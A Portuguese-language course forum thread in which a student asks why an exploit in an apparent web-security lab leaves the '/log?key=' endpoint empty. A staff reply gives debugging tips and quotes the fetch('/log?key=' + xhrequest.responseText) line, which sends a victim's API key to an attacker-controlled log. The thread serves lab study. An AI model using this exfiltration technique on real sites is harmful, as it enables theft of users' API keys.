1
resposta

[Dúvida] Key da API

Tentei de algumas maneiras diferentes mas nada mudou. Após fazer o Exploit o "/log?key=" fica vazio como na imagem abaixo, alguem sabe como solucionar isso?!Aplicação do exploit

1 resposta

Olá, Luan! Tudo bem com você?

Peço desculpa pela demora em responder o seu tópico.

Primeiramente, verifique se você inseriu corretamente a URL do seu laboratório na variável url do script. A URL deve ser a do laboratório que você está trabalhando, e não a que está no exemplo.

Em segundo lugar, é importante garantir que o script esteja sendo executado corretamente. No código, a função fetch("/log?key=" + xhrequest.responseText) é chamada apenas quando a requisição HTTP é finalizada com sucesso. Se houver algum problema na requisição, a função fetch não será chamada e, portanto, o log ficará vazio.

Para verificar se a requisição HTTP está sendo feita corretamente, você pode adicionar alguns comandos de log no script. Por exemplo, você pode adicionar console.log(xhrequest.status) antes do if (xhrequest.readyState == XMLHttpRequest.DONE). Isso mostrará no console do navegador o status da requisição HTTP. Se o status for 200, significa que a requisição foi bem-sucedida.

Além disso, você pode adicionar console.log(xhrequest.responseText) dentro do if (xhrequest.readyState == XMLHttpRequest.DONE), antes do fetch. Isso mostrará no console do navegador a resposta da requisição HTTP. Se a resposta contiver a chave da API, então o problema está no fetch.

Espero ter ajudado e bons estudos!

Caso este post tenha lhe ajudado, por favor, marcar como solucionado ✓.

Quer mergulhar em tecnologia e aprendizagem?

Receba a newsletter que o nosso CEO escreve pessoalmente, com insights do mercado de trabalho, ciência e desenvolvimento de software